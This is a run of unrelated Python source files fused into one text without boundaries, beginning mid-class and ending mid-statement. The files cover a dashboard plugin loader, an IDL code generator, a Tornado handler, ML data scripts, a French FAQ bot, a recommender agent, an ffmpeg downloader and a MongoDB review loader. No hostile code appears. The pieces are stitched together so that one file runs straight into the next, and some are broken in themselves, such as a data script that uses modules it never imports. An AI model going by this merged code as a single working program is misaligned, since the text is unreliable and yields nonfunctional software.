__init__(self, message): self._message = message def __str__(self): return repr(self._message) @property def message(self): return self._message class MissingRequiredOptionException(ComponentCreationException): def __init__(self, message): super().__init__(message) class ComponentType(Enum): DISPLAY = 1 DATA_FEED = 2 NOTIFICATION = 3 FILTER = 4 class ComponentCreatorLoader: def __init__(self): self._loaders = [] def add_source(self, loader): self._loaders.append(loader) def load_by_type(self, component_type): component_creators = [] for loader in self._loaders: component_creators += loader.load(component_type) return component_creators class ComponentCreatorsSource(ABC): _COMPONENT_SUBCLASS_MAP = { ComponentType.DISPLAY: DisplayCreator, ComponentType.DATA_FEED: DataFeedCreator, ComponentType.FILTER: FilterCreator, ComponentType.NOTIFICATION: NotificationCreator } @abstractmethod def load(self, component_type): """ Returns an array of all the component configs """ def _filter_component_creators_by_type(self, classes, component_type): component_subclass = self._COMPONENT_SUBCLASS_MAP.get(component_type) filtered_components = filter(lambda c: issubclass(c, component_subclass), classes) return list(map(lambda c: c(), filtered_components)) class StaticComponentSource(ComponentCreatorsSource): _CREATORS = [] @staticmethod def add(config): StaticComponentSource._CREATORS.append(config) def load(self, component_type): return self._filter_component_creators_by_type( StaticComponentSource._CREATORS, component_type ) class ExternalPackageSource(ComponentCreatorsSource): _ENTRY_POINT_NAMES_MAP = { ComponentType.DISPLAY: "doodledashboard.custom.displays", ComponentType.DATA_FEED: "doodledashboard.custom.datafeeds", ComponentType.FILTER: "doodledashboard.custom.filters", ComponentType.NOTIFICATION: "doodledashboard.custom.notification" } @staticmethod def _find_entry_points_by_group(group_name): for entry_point in iter_entry_points(group_name): yield entry_point.load() def load(self, component_type): entry_point_name = self._ENTRY_POINT_NAMES_MAP.get(component_type) component_creators = self._find_entry_points_by_group(entry_point_name) return self._filter_component_creators_by_type(component_creators, component_type) okl4_kernel/okl4_2.1.1-patch.9/tools/magpie/magpie/targets/nicta/generic_q1_target.py10-100 from generator import simple_params from generator import v4generator import targets.idl4.generic_l4v4_target as idl4 class NICTASimpleParam(simple_params.SimpleParam): """ NICTA uses a slightly different way of determining whether to pass parameters by value or by reference. See Mothra Issue #692 for more information. """ def create(self, parameter_decl): attributes_dict = simple_params.SimpleParam.create(self, parameter_decl) # Do our own handling of c_impl_indirection: we pass by value only if # the type is basic. the_type = parameter_decl.maybe_walk_to('target', 'type') if attributes_dict['direction'] in ('out', 'inout') or not self._is_type_basic(the_type): attributes_dict['c_impl_indirection'] = '*' else: attributes_dict['c_impl_indirection'] = '' return attributes_dict def _is_type_basic(self, type_ast): metatype = type_ast.get_attribute('meta_type')[0] if metatype == 'basic': return True elif metatype == 'alias': target = type_ast.maybe_walk_to('target', 'type') return self._is_type_basic(target) else: return False class Function(v4generator.V4Function): def make_simple_param_list(self, decl_ast): return v4generator.V4Function.make_simple_param_list(self, decl_ast, simpleparam_cls = NICTASimpleParam) class Interface(v4generator.V4Interface): def _my_function_class(self): return Function class Generator(idl4.Generator): def _my_interface_class(self): return Interface class Templates(idl4.Templates): MAPPING = 'CORBA C' client_function_body_pre_ipc_defs = 'v4nicta_generic/client_function_body_asynchmask_defs.template.c' client_function_body_pre_ipc = 'v4nicta_generic/q1api_client_function_body_save_asynchmask.template.c' client_function_body_post_ipc = 'v4nicta_generic/q1api_client_function_body_restore_asynchmask.template.c' ModusCreateOrg/isokinetikube #!/usr/bin/env python """This module spins the CPU.""" import os import time import random import socket import urllib.request,urllib.parse,urllib.error import newrelic.agent from bottle import route, default_app, response, HTTPError NEWRELIC_INI = "../newrelic.ini" if os.path.isfile(NEWRELIC_INI): newrelic.agent.initialize(NEWRELIC_INI) @route("/api/spin") def spin(delay=0.05, max_duration=10.0, simulate_congestion=True): """Spin the CPU, return the process id at the end""" spin.invocations += 1 child_pid = os.getpid() upper_max = 100000000000000000000000000000000 # Use a pareto distribution to give additional # variation to the delay # See https://en.wikipedia.org/wiki/Pareto_distribution alpha = 2 pareto_factor = random.paretovariate(alpha) start_time = time.time() current_time = start_time scratch = 42 + int(current_time) congestion_slowdown = 0.0 if simulate_congestion: congestion_slowdown = delay * 2 / (current_time - spin.last_time) end_time = start_time + (delay + congestion_slowdown) * pareto_factor time_limit = start_time + (max_duration) calcs = 0 while current_time < end_time: calcs += 1 scratch = (scratch * scratch) % upper_max current_time = time.time() interval = current_time - start_time if current_time > time_limit: raise HTTPError( 500, "Allowed transaction time exceeded ({} ms elapsed)".format(interval), ) spin.last_time = current_time rate = calcs / interval response.set_header("Content-Type", "text/plain") return "node {0} pid {1} spun {2} times over {3}s (rate {4} invoked {5} times. Congestion slowdown {6}s)\n".format( spin.node, child_pid, calcs, interval, rate, spin.invocations, congestion_slowdown ) spin.invocations = 0 spin.last_time = time.time() - 10 spin.slowdown = 0 try: # Thanks stack overflow https://stackoverflow.com/a/43816449/424301 spin.node = urllib.request.urlopen( "http://169.254.169.254/latest/meta-data/instance-id", timeout=1 ).read() # Thanks stack overflow https://stackoverflow.com/questions/2712524/handling-urllib2s-timeout-python except urllib.error.URLError: # Thanks stack overflow: https://stackoverflow.com/a/4271755/424301 spin.node = socket.gethostname() application = default_app() carboncoo/UNITER0 import os import random from PIL import Image, ImageFont, ImageDraw, ImageEnhance from utils import ( load_txt_db, load_img_db, load_single_img, load_single_region, load_single_txt ) def create_class_region_mapping(img_db_txn, keys, n_classes=1601): region2class = {} class2region = [[] for i in range(1601)] for key in tqdm(keys): img = load_single_img(img_db_txn, key) soft_labels = img['soft_labels'] max_values = soft_labels.max(axis=-1) max_idxs = soft_labels.argmax(axis=-1) region2class[key] = [] for i, idx, value in zip(range(max_idxs.shape[0]), max_idxs, max_values): region2class[key].append((idx, value)) if value < 0.5: continue new_key = f'{key}${i}' class2region[idx].append(new_key) with open('region2class.mp', 'wb') as f1, open('class2region.mp', 'wb') as f2: msgpack.dump(region2class, f1) msgpack.dump(class2region, f2) return region2class, class2region origin_img_dir = '/data/share/UNITER/origin_imgs/flickr30k/flickr30k-images/' def draw_bounding_box(img_name, img_bb, outline=(255, 0, 0, 255)): source_img = Image.open(origin_img_dir + img_name).convert("RGB") width, height = source_img.size draw = ImageDraw.Draw(source_img, 'RGBA') p1 = (width*img_bb[0], height*img_bb[1]) p2 = (width*img_bb[2], height*img_bb[3]) draw.rectangle((p1, p2), outline=outline, width=2) return source_img def draw_region(key, img_db_txn): img_name, img_key, bb_idx = split_region_key(key) bb = load_single_img(img_db_txn, img_key)['norm_bb'][bb_idx] img = draw_bounding_box(img_name, bb) return img def get_concat_h(im1, im2, sentences=None): height = max(im1.height, im2.height) if sentences is not None: height += 50 * len(sentences) dst = Image.new('RGB', (im1.width + im2.width, height)) dst.paste(im1, (0, 0)) dst.paste(im2, (im1.width, 0)) fnt = ImageFont.truetype(font='/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf', size=20) if sentences is not None: draw = ImageDraw.Draw(dst) left, top = 0, max(im1.height, im2.height) for sent in sentences: draw.text((left, top), sent, (255, 255, 255), font=fnt) top += 50 return dst def split_region_key(key): img_name = key.split('_')[-1].split('.')[0].lstrip('0') + '.jpg' img_key = key.split('$')[0] bb_idx = int(key.split('$')[-1]) return img_name, img_key, bb_idx def substitute_txt(original_txt): return original_txt def substitute(img_db_txn, txt_db, class2region, out_dir, seed=42): random.seed(seed) txt_env_out = lmdb.open(out_dir, map_size=int(1e11)) txt_txn_out = txt_env_out.begin(write=True) sample_cnt = 0 for k, data in tqdm(txt_db.items()): txt_data = load_single_txt(data) img_fname = txt_data['img_fname'] img_data = load_single_img(img_db_txn, img_fname) region_soft_labels = img_data['soft_labels'] max_idx = np.unravel_index(region_soft_labels.argmax(), region_soft_labels.shape) # [row, col] candidates = class2region[max_idx[1]] sub_region_key = random.sample(candidates, 1)[0] sub_region_feat = load_single_region(img_db_txn, sub_region_key) txt_data['mix_index'] = max_idx[0] txt_data['mix_feature'] = sub_region_feat txt_data['mix_region'] = sub_region_key mix_txt_key = str(sample_cnt) + '_' + k.decode('utf-8') txt_txn_out.put(mix_txt_key.encode('utf-8'), compress(msgpack.dumps(txt_data, use_bin_type=True))) if sample_cnt % 1000 == 0: txt_txn_out.commit() txt_txn_out = txt_env_out.begin(write=True) sample_cnt += 1 txt_txn_out.commit() txt_env_out.close() def sample(img_db_txn, mixed_txt_db, sample_n=10, out_dir='./sample'): keys = mixed_txt_db.keys() sampled_keys = random.sample(keys, sample_n) os.makedirs(out_dir, exist_ok=True) for key in sampled_keys: txt_data = load_single_txt(mixed_txt_db[key]) sentence = ' '.join(txt_data['toked_hypothesis']) original_region_key = txt_data['img_fname'] + f"${txt_data['mix_index']}" sub_region_key = txt_data['mix_region'] original_region = draw_region(original_region_key, img_db_txn) sub_region = draw_region(sub_region_key, img_db_txn) output_img = get_concat_h(original_region, sub_region, [sentence]) output_img.save(os.path.join(out_dir, f'{key}.jpeg'), 'JPEG') if __name__ == '__main__': # name2nbb, img_db_txn = load_img_db('/data/share/UNITER/ve/img_db/flickr30k') # txt_db = load_txt_db('/data/share/UNITER/ve/txt_db/ve_train.db') # CREATE # region2class, class2region = create_class_region_mapping(img_db_txn, list(name2nbb.keys())) # it takes about 35 seconds # LOAD # with open('region2class.mp', 'rb') as f1, open('class2region.mp', 'rb') as f2: # region2class = msgpack.load(f1) # class2region = msgpack.load(f2) # SUBSTITUTE # seed = 42 # out_dir = f'/data/share/UNITER/ve/da/simsub-seed{seed}-1/txt_db/ve_train.db' # substitute(img_db_txn, txt_db, class2region, out_dir, seed=seed) # SAMPLE name2nbb, img_db_txn = load_img_db('/data/share/UNITER/ve/img_db/flickr30k') seed = 42 out_dir = f'/data/share/UNITER/ve/da/simsub-seed{seed}-1/txt_db/ve_train.db' txt_db = load_txt_db(out_dir) sample(img_db_txn, txt_db) # import ipdb; ipdb.set_trace()# -*- coding: utf-8 -*- import spacy import pandas as pd import numpy as np from random import sample from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics.pairwise import cosine_similarity from nltk.corpus import stopwords from nltk.tokenize import word_tokenize from nltk.stem import SnowballStemmer #fonction pour construire le vectoriseur TF-IDF de requete def buildVectorizer(): sw = stopwords.words('french') sw += ['être', 'avoir'] return TfidfVectorizer(lowercase=True, stop_words = sw, ngram_range=(1, 1), use_idf=True, smooth_idf=True, # idf lissé sublinear_tf=False, norm='l2') #Classe dédié aux réponses tiré de la FAQ. Elle sert aussi à classifier si une #requete fait parti ou non de son domaine de compétance. class botSpecialist: #Constructeur ##dialogueFilename prend en entrée les questions réponses au format CSV ## seuil prend une valeur entre 0 et 1 servant de seuil à la similarité pour ## savoir si la question fait parti du domaine de competance du bot ## randomSeuil : Valeur correspondant à la taille de la fenetre aléatoire pour ## tirer des réponses au hasard parmis les meilleurs. def __init__(self, dialogueFilename='data/train_data.csv', seuil = 0.5, randomSeuil = 0.01): self.vectorizer = buildVectorizer() self.nlp = spacy.load("fr_core_news_sm") self.stemmer = SnowballStemmer('french') self.seuil = seuil self.randomSeuil = randomSeuil self.base = pd.read_csv(dialogueFilename) self.base['lemmas_rep'] = self.base["reponse"].apply(self.lemmatise_text) self.base['lemmas_quest'] = self.base["question"].apply(self.lemmatise_text) self.vectorizedBase = self.vectorizer.fit_transform( pd.concat([self.base["lemmas_quest"].apply(self.stem_text) , self.base["lemmas_rep"].apply(self.stem_text)])) #extrait les lemmes des mots d'un texte def lemmatise_text(self, text): tweet_nlp = self.nlp(text) l = [token.lemma_ for token in tweet_nlp ] return (" ".join(l)).replace(" \n","") #extrait les racines des mots d'un texte def stem_text(self, text): words = word_tokenize(text) l = [self.stemmer.stem(token) for token in words] return " ".join(l) #Repond à une question def repond(self, question): query_corpus_sim = self.rankReponses(question) return self.chooseReponse(query_corpus_sim) #Choisis parmis les réponses comprise dans la fenetre ou renvoie une chaine #vide si aucune réponse n'est satisfaisante (sim > seuil) def chooseReponse(self, query_corpus_sim): bestSim = np.max(query_corpus_sim) if bestSim < self.seuil: return '' else: validIndexes = [ind for ind in range(len(query_corpus_sim))\ if query_corpus_sim[ind] >= bestSim-self.randomSeuil] idchosenOne = sample(validIndexes,1)[0] if(idchosenOne >= 144): return self.base["reponse"][idchosenOne-144] else: return self.base["reponse"][idchosenOne] #evalue la simiarité des questions et des réponses du corpus à la question def rankReponses(self, question): query = [self.stem_text(self.lemmatise_text(question))] query_vector = self.vectorizer.transform(query) query_corpus_sim = np.squeeze(cosine_similarity( self.vectorizedBase, query_vector)) return query_corpus_sim# -*- coding: utf-8 -*- import os import sys import time import traceback import hashlib import random from itertools import count from functools import partial from copy import copy import json try: import urlparse # py2 except ImportError: import urllib.parse as urlparse # py3 import tornado.web import tornado.httpclient from tornado.options import options, define from tornado.escape import to_unicode import tornado.gen from jinja2 import Environment, PackageLoader import six from tortik.util import decorate_all, make_list, real_ip, make_qs from tortik.util.dumper import dump from tortik.util.xml_etree import tostring from tortik.logger import PageLogger from tortik.util.async_group import AsyncGroup from tortik.util.parse import parse_xml, parse_json define('debug_password', default=None, type=str, help='Password for debug') define('debug', default=True, type=bool, help='Debug mode') define('tortik_max_clients', default=200, type=int, help='Max clients (requests) for http_client') define('tortik_timeout_multiplier', default=1.0, type=float, help='Timeout multiplier (affects all requests)') _DEBUG_ALL = "all" _DEBUG_ONLY_ERRORS = "only_errors" _DEBUG_NONE = "none" stats = count() def _gen_requestid(): return hashlib.md5('{}{}{}'.format(os.getpid(), next(stats), random.random()).encode('utf-8')).hexdigest() _decorates = decorate_all([ (tornado.web.asynchronous, 'asynchronous'), # should be the last ]) @six.add_metaclass(_decorates) class RequestHandler(tornado.web.RequestHandler): """Base handler for request handle Differs from ``tornado.web.RequestHandler`` that all method handlers are ``@tornado.web.asynchronous`` by default. Handler completion should be done with ``self.complete`` method instead of ``self.finish`` for applying postprocessors. """ def initialize(self, *args, **kwargs): debug_pass = options.debug_password debug_agrs = self.get_arguments('debug') debug_arg_set = (len(debug_agrs) > 0 and debug_pass is not None and (debug_pass == '' or debug_pass == debug_agrs[-1])) if debug_arg_set: self.debug_type = _DEBUG_ALL elif options.debug: self.debug_type = _DEBUG_ONLY_ERRORS else: self.debug_type = _DEBUG_NONE if self.debug_type != _DEBUG_NONE and not hasattr(RequestHandler, 'debug_loader'): environment = Environment(autoescape=True, loader=PackageLoader('tortik', 'templates'), extensions=['jinja2.ext.autoescape'], auto_reload=options.debug) environment.filters['split'] = lambda x, y: x.split(y) RequestHandler.debug_loader = environment self.error_detected = False self.request_id = self.request.headers.get('X-Request-Id', _gen_requestid()) self.log = PageLogger(self.request, self.request_id, (self.debug_type != _DEBUG_NONE), handler_name=(type(self).__module__ + '.' + type(self).__name__)) self.responses = {} self.http_client = self.initialize_http_client() self.preprocessors = copy(self.preprocessors) if hasattr(self, 'preprocessors') else [] self.postprocessors = copy(self.postprocessors) if hasattr(self, 'postprocessors') else [] self.log.info('Using http client: %s' % repr(self.http_client)) self._extra_data = {} @tornado.gen.coroutine def prepare(self): if self.preprocessors: start_time = time.time() yield list(map(lambda x: tornado.gen.Task(x, self), self.preprocessors)) self.log.debug("Preprocessors completed in %.2fms", (time.time() - start_time)*1000.) @staticmethod def get_global_http_client(): if not hasattr(RequestHandler, '_http_client'): RequestHandler._http_client = tornado.httpclient.AsyncHTTPClient( max_clients=options.tortik_max_clients) return RequestHandler._http_client def initialize_http_client(self): return self.get_global_http_client() def add(self, name, data): self._extra_data[name] = data def get_data(self): return self._extra_data def compute_etag(self): return None def on_finish(self): self.log.complete_logging(self.get_status()) def write_error(self, status_code, **kwargs): if self.debug_type in [_DEBUG_ALL, _DEBUG_ONLY_ERRORS]: if 'exc_info' in kwargs: type, value, tb = kwargs['exc_info'] self.log.error("Uncaught exception %s\n%r", self._request_summary(), self.request, exc_info=(type, value, tb)) if self._finished: return self.set_status(status_code) self.log.complete_logging(status_code) self.finish_with_debug() return True else: super(RequestHandler, self).write_error(status_code, **kwargs) def finish_with_debug(self): self.set_header('Content-Type', 'text/html; charset=utf-8') if self.debug_type == _DEBUG_ALL: self.set_status(200) self.finish(RequestHandler.debug_loader.get_template('debug.html').render( data=self.log.get_debug_info(), output_data=self.get_data(), size=sys.getsizeof, get_params=lambda x: urlparse.parse_qs(x, keep_blank_values=True), pretty_json=lambda x: json.dumps(x, sort_keys=True, indent=4, ensure_ascii=False), pretty_xml=lambda x: to_unicode(tostring(x.getroot() if hasattr(x, 'getroot') else x, pretty_print=True, encoding='UTF-8')), to_unicode=to_unicode, dumper=dump, format_exception=lambda x: "".join(traceback.format_exception(*x)) )) def complete(self, output_data=None): def finished_cb(handler, data): handler.log.complete_logging(handler.get_status()) if handler.debug_type == _DEBUG_ALL: self.finish_with_debug() return self.finish(data) if self.postprocessors: last = len(self.postprocessors) - 1 def add_cb(index): if index == last: return finished_cb else: def _cb(handler, data): self.postprocessors[index + 1](handler, data, add_cb(index + 1)) return _cb self.postprocessors[0](self, output_data, add_cb(0)) else: finished_cb(self, output_data) def fetch_requests(self, requests, callback=None, stage='page'): self.log.stage_started(stage) requests = make_list(requests) def _finish_cb(): self.log.stage_complete(stage) if callback is not None: callback() ag = AsyncGroup(_finish_cb, self.log.debug, name=stage) def _on_fetch(response, name): content_type = response.headers.get('Content-Type', '').split(';')[0] response.data = None self.log.debug( 'Got response for "%s" (code = %s, content_type = %s): %s', name, response.code, content_type, response.body, ) try: if 'xml' in content_type: response.data = parse_xml(response) elif content_type == 'application/json': response.data = parse_json(response) except: self.log.warning('Could not parse response with Content-Type header') if response.data is not None: self.add(name, response.data) self.responses[name] = response self.log.request_complete(response) for req in requests: if isinstance(req, (tuple, list)): assert len(req) in (2, 3) req = self.make_request(name=req[0], method='GET', full_url=req[1], data=req[2] if len(req) == 3 else '') self.log.request_started(req) self.http_client.fetch(req, ag.add(partial(_on_fetch, name=req.name))) def make_request(self, name, method='GET', full_url=None, url_prefix=None, path='', data='', headers=None, connect_timeout=1, request_timeout=2, follow_redirects=True, **kwargs): """ Class for easier constructing ``tornado.httpclient.HTTPRequest`` object. Request url could be constructed with two ways: * ``full_url`` argument * ``url_prefix`` as domain part and ``path`` as path part :param string name: Name of the request (for later accessing response through ``self.responses.get(name)``) :param string method: HTTP method, e.g. "GET" or "POST" :param string full_url: Full url for the requesting server (ex. ``http://example.com``) :param string url_prefix: Request url domain part :param string path: Request url path part :param data: Query to be passed to the request (could be a dict and would be translated to a query string) :type data: `string` or `dict` :param headers: Additional HTTP headers to pass on the request :type headers: ``tornado.httputil.HTTPHeaders`` or `dict` :param float connect_timeout: Timeout for initial connection in seconds :param float request_timeout: Timeout for entire request in seconds :param bool follow_redirects: Should redirects be followed automatically or return the 3xx response? :param kwargs: any other ``tornado.httpclient.HTTPRequest`` arguments :return: ``tornado.httpclient.HTTPRequest`` """ if (full_url is None) == (url_prefix is None): raise TypeError('make_request required path/url_prefix arguments pair or full_url argument') if full_url is not None and path != '': raise TypeError("Can't combine full_url and path arguments") scheme = 'http' query = '' body = None if full_url is not None: parsed_full_url = urlparse.urlsplit(full_url) scheme = parsed_full_url.scheme url_prefix = parsed_full_url.netloc path = parsed_full_url.path query = parsed_full_url.query if method in ['GET', 'HEAD', 'DELETE']: parsed_query = urlparse.parse_qs(query) parsed_query.update(data if isinstance(data, dict) else urlparse.parse_qs(data)) query = make_qs(parsed_query) else: body = make_qs(data) if isinstance(data, dict) else data headers = {} if headers is None else headers headers.update({ 'X-Forwarded-For': real_ip(self.request), 'X-Request-Id': self.request_id, 'Content-Type': headers.get('Content-Type', 'application/x-www-form-urlencoded') }) req = tornado.httpclient.HTTPRequest( url=urlparse.urlunsplit((scheme, url_prefix, path, query, '')), method=method, headers=headers, body=body, connect_timeout=connect_timeout*options.tortik_timeout_multiplier, request_timeout=request_timeout*options.tortik_timeout_multiplier, follow_redirects=follow_redirects, **kwargs ) req.name = name return req def add_preprocessor(self, preprocessor): self.preprocessors.append(preprocessor) def add_postprocessor(self, postprocessor): self.postprocessors.append(postprocessor) import sys from os.path import dirname import cv2 sys.path.append(dirname(__file__)) import torch import torch.nn as nn from common.NormalNN24 import NormalNN24 from help_funs import mu class CNN(nn.Module): def __init__(self): super().__init__() self.__name__ = 'nnn24' # input confidence estimation network self.conv24_3 = NormalNN24(24, 3) def forward(self, x0): # x0: vertex array # c0: confidence of each element in x0 device = x0.get_device() # c0 = mu.binary(x0).to(device) xout = self.conv24_3(x0) out = torch.cat((xout, xout, xout), 1) return out read_next = False id_list = [] nt_list = [] for line in open('shit.fasta'): if read_next: nt_list.append(line.strip()) read_next = False else: id = '' print(line) s = line.split('-')[1] id = s.split(':')[2] id += s.split(':')[3] id += s.split(':')[4].split('#')[0] read_next = True id_list.append(id) print(len(id_list)) print(len(nt_list)) mapmap = {} for x in range(0, len(id_list)): if id_list[x] in mapmap.keys(): mapmap[id_list[x]] += '#' + nt_list[x] else: mapmap[id_list[x]] = nt_list[x] print(mapmap.values()) final_map = {} for item in mapmap.values(): print(item) one = item.split('#')[0] if len(item.split('#')) < 2: two = '-----' else: two = item.split('#')[1] name = '' if one[0] == 'T' or two[0] == 'T': name += '1' if one[1] == 'G' or two[1] =='G': name += '2' if one[2] == 'A' or two[2] == 'A': name += '3' if one[3] == 'T' or two[3] == 'T': name += '4' if one[4] == 'A' or two[4] == 'A': name += '5' if name in final_map.keys(): final_map[name] += 1 else: final_map[name] = 1 print(final_map) irec/recommendation/agents/simple_ensemble_agent.py from irec.recommendation.agents.action import Action from .action import UserItemAction from .base import Agent from typing import Any, List import numpy as np class SimpleEnsembleAgent(Agent): """SimpleEnsembleAgent. iRec also allows agents based on ensemble strategies by using the tag EnsembleAgent and, in this case, more than one Action Selection Policy and/or more than one ValueFunction can be set. """ def __init__( self, agents: List[Agent], use_name_meta_actions: bool = True, save_meta_actions: bool = True, *args, **kwargs ): """__init__. Args: agents (List[Agent]): agents use_name_meta_actions (bool): use_name_meta_actions save_meta_actions (bool): save_meta_actions args: kwargs: """ super().__init__(*args, **kwargs) self.agents = agents self.use_name_meta_actions = use_name_meta_actions if self.use_name_meta_actions: self.ensemble_candidate_actions = np.array([i.name for i in self.agents]) self.actions_name_object_map = { act_name: self.agents[i] for i, act_name in enumerate(self.ensemble_candidate_actions) } else: self.ensemble_candidate_actions = np.array(list(range(len(self.agents)))) self.default_actions_num = 1 self.save_meta_actions = save_meta_actions def act(self, candidate_actions: Action, actions_num: int): """act. Args: candidate_actions (Action): candidate_actions actions_num (int): actions_num """ info = {} meta_actions_estimate, meta_vf_info = self.value_function.actions_estimate( self.ensemble_candidate_actions ) meta_actions, meta_asp_info = self.action_selection_policy.select_actions( self.ensemble_candidate_actions, meta_actions_estimate, self.default_actions_num, ) meta_action = meta_actions[0] if self.use_name_meta_actions: selected_agent = self.actions_name_object_map[meta_action] else: selected_agent = self.agents[meta_action] selected_agent_actions, selected_agent_info = selected_agent.act( candidate_actions, actions_num ) if meta_vf_info is not None: info["vf_info"] = meta_vf_info if meta_asp_info is not None: info["asp_info"] = meta_asp_info if selected_agent_info is not None: info["selected_agent_info"] = selected_agent_info if self.save_meta_actions: if self.use_name_meta_actions: info["meta_action_name"] = meta_action info["mai"] = meta_action else: info["meta_action_name"] = self.agents[meta_action].name info["mai"] = meta_action if info == dict(): info = None return selected_agent_actions, info def observe(self, observation: Any, action: UserItemAction, reward: float, info: dict): """observe. Args: observation (Any): observation action (UserItemAction): action reward (float): reward info (dict): info """ vf_info = info.get("vf_info", None) asp_info = info.get("asp_info", None) self.value_function.update(observation, info["mai"], reward, vf_info) self.action_selection_policy.update(observation, info["mai"], reward, asp_info) for agent in self.agents: agent.observe(observation, action, reward, info) return None def reset(self, observation: Any): """reset. Args: observation (Any): observation """ if observation is not None: self.value_function.reset(observation) self.action_selection_policy.reset(observation) for agent in self.agents: agent.reset(observation) return None else: raise NotImplementedError from requests import get from zipfile import ZipFile from io import BytesIO import os import sys if not os.path.exists("./bin/ffmpeg.exe") or not os.path.exists("./bin/ffprobe.exe"): if not os.path.exists("./bin"): os.mkdir("./bin") zip_data = BytesIO() res = get("https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-essentials.zip", stream=True) total_length = res.headers.get('content-length') if total_length == None: zip_data.write(res.content) else: dl = 0 total_length = int(total_length) for data in res.iter_content(chunk_size=65536): dl += len(data) zip_data.write(data) done = int(50 * dl / total_length) sys.stdout.write("\r[%s%s]" % ('=' * done, ' ' * (50-done)) ) sys.stdout.flush() zf = ZipFile(zip_data) for zipped_file in zf.filelist: if "bin/ffmpeg.exe" in zipped_file.filename: with zf.open(zipped_file) as ffmpeg: with open("bin/ffmpeg.exe", "wb") as f: f.write(ffmpeg.read()) if "bin/ffprobe.exe" in zipped_file.filename: with zf.open(zipped_file) as ffprobe: with open("bin/ffprobe.exe", "wb") as f: f.write(ffprobe.read()) machine-learning-algorithms/NLP/main.py import re import pandas as pd import numpy as np from bs4 import BeautifulSoup from nltk.corpus import stopwords from sklearn.feature_extraction.text import CountVectorizer from sklearn.ensemble import RandomForestClassifier def review_to_words(raw_review): # Remove the HTML review_text = BeautifulSoup(raw_review, 'lxml').get_text() # Get only letters letters_only = re.sub("[^a-zA-Z]", " ", review_text) # Converto to vector of words words = letters_only.lower().split() # Get the dataset of stopwords in english stops = set(stopwords.words("english")) # Reading data mean_words = [w for w in words if not w in stops] return " ".join(mean_words) train = pd.read_csv("../datasets/labeledTrainData.tsv", header=0, delimiter='\t', quoting=3) ''' test = pd.read_csv("../datasets/testData.tsv", header=0, delimiter='\t', quoting=3) ''' num_of_reviews = len(train['review']) text_data = [] for i in xrange(0, num_of_reviews): if (i + 1) % 1000 == 0: print "Review %d of %d\n" % (i+1, num_of_reviews) text_data.append(review_to_words(train['review'][i])) vectorizer = CountVectorizer(analyzer="word", tokenizer=None, preprocessor=None, stop_words=None, max_features=5000) train_data = vectorizer.fit_transform(text_data[:20000]) train_data_features = train_data.toarray() print len(train_data_features) print len(train_data_features[0]) ''' vocab = vectorizer.get_feature_names() forest = RandomForestClassifier(n_estimators=100) df = train train = df.sample(frac=0.8, random_state=200) test = df.drop(train.index) forest = forest.fit(train_data_features, train['sentiment']) num_of_reviews = len(test['review']) clean_test_review = [] for i in xrange(0, num_of_reviews): if(i+1) % 1000 == 0: print "Review %d of %d\n" % (i+1, num_of_reviews) clean_review = review_to_words(test["review"][i]) clean_test_review.append(clean_review) test_data_features = vectorizer.transform(test['review']) test_data_features = test_data_features.toarray() result = forest.predict(test_data_features) output = pd.DataFrame(data={'id': test['id'], 'sentiment': result}) for i in output.toarray(): print i '''from pymongo import MongoClient, ASCENDING from utilities import getSentencesFromReview from srs_local import get_ft_dicts_from_contents from predictor import loadTrainedPredictor import gzip import ast def connect_to_db(): client = MongoClient('localhost', 27017) db = client['srs'] return client, db def upsert_review_for_product_id(review, db_product_collection, meta_dict): """For each review, if it belongs to the category indicated by "category_name", add it to the product_collection in db""" product_id = review['asin'] query_res = list(db_product_collection.find({"product_id": product_id})) contents_new = getSentencesFromReview(review['reviewText']) num_sentence = len(contents_new) review_id_new = review['reviewerID'] rating_new = review['overall'] isfound = 0 if product_id in meta_dict: product = meta_dict[product_id] product_name = product['product_name'] category = product['category'] if len(category) > 0: isfound = 1 #if product already exists: add to the current product information if len(query_res) > 0: contents = query_res[0]["contents"] + contents_new review_ids = query_res[0]["review_ids"] ratings = query_res[0]["ratings"] review_ids.append(review_id_new) ratings.append(rating_new) review_ending_sentence_list = query_res[0]["review_ending_sentence"] review_ending_sentence_new = num_sentence + review_ending_sentence_list[-1] review_ending_sentence_list.append(review_ending_sentence_new) num_reviews = query_res[0]["num_reviews"] + 1 update_field = { "contents": contents, "review_ids": review_ids, "ratings": ratings, "review_ending_sentence": review_ending_sentence_list, "num_reviews": num_reviews, "category": category } # if product not in database: else: contents = contents_new review_ids = [] ratings = [] review_ending_sentence_list = [] review_ids.append(review_id_new) ratings.append(rating_new) review_ending_sentence_list.append(num_sentence) num_reviews = 1 update_field = { "contents": contents, "product_name": product_name, "review_ids": review_ids, "ratings": ratings, "review_ending_sentence": review_ending_sentence_list, "num_reviews": num_reviews, "category": category, "ft_score": {}, "ft_senIdx": {} } query = {"product_id": product_id} db_product_collection.update(query, {"$set": update_field}, True) return isfound def parse(path): g = gzip.open(path, 'r') for l in g: yield ast.literal_eval(l) def construct_metadata_dict(meta_file_path, category_name): """return a dictionary for product metadata""" metaParser = parse(meta_file_path) client, db = connect_to_db() i=0 j=0 meta_dict = {} print "building the dict for product metadata" for meta in metaParser: i+=1 if i%1000 == 0: print i, j category = meta['categories'][0] if category_name in category or len(category_name) == 0: j += 1 product_id = meta['asin'] if 'title' in meta: product_name = meta['title'] else: product_name = "" meta_dict[product_id]={'category': category, 'product_name':product_name} return meta_dict def upsert_all_reviews(review_file_path, meta_dict): reviewParser = parse(review_file_path) client, db = connect_to_db() db_product_collection = db.product_collection i=0 num_found = 0 print "building product_collection in database" for review in reviewParser: isfound = upsert_review_for_product_id(review, db_product_collection, meta_dict) num_found += isfound i+=1 if i%100 == 0: print i, num_found client.close() def upsert_new_product(db_product_collection, product_id, product_name, category, contents_new, review_ids_new, ratings_new, review_ending_sentence_new, num_reviews_new, ft_senIdx, ft_score): """upsert product information """ query_res = list(db_product_collection.find({"product_id": product_id})) if len(query_res) > 0: contents = query_res[0]["contents"] + contents_new num_sentence = len(contents) review_ids = query_res[0]["review_ids"] ratings = query_res[0]["ratings"] review_ids += review_ids_new ratings += ratings_new review_ending_sentence = query_res[0]["review_ending_sentence"] review_ending_sentence_new = [item + review_ending_sentence[-1] for item in review_ending_sentence_new] review_ending_sentence += review_ending_sentence_new num_reviews = query_res[0]["num_reviews"] + num_reviews_new elif len(query_res) == 0: contents = contents_new review_ids = review_ids_new ratings = ratings_new review_ending_sentence = review_ending_sentence_new num_reviews = num_reviews_new query = {"product_id": product_id} update_field = { "product_name": product_name, "category": 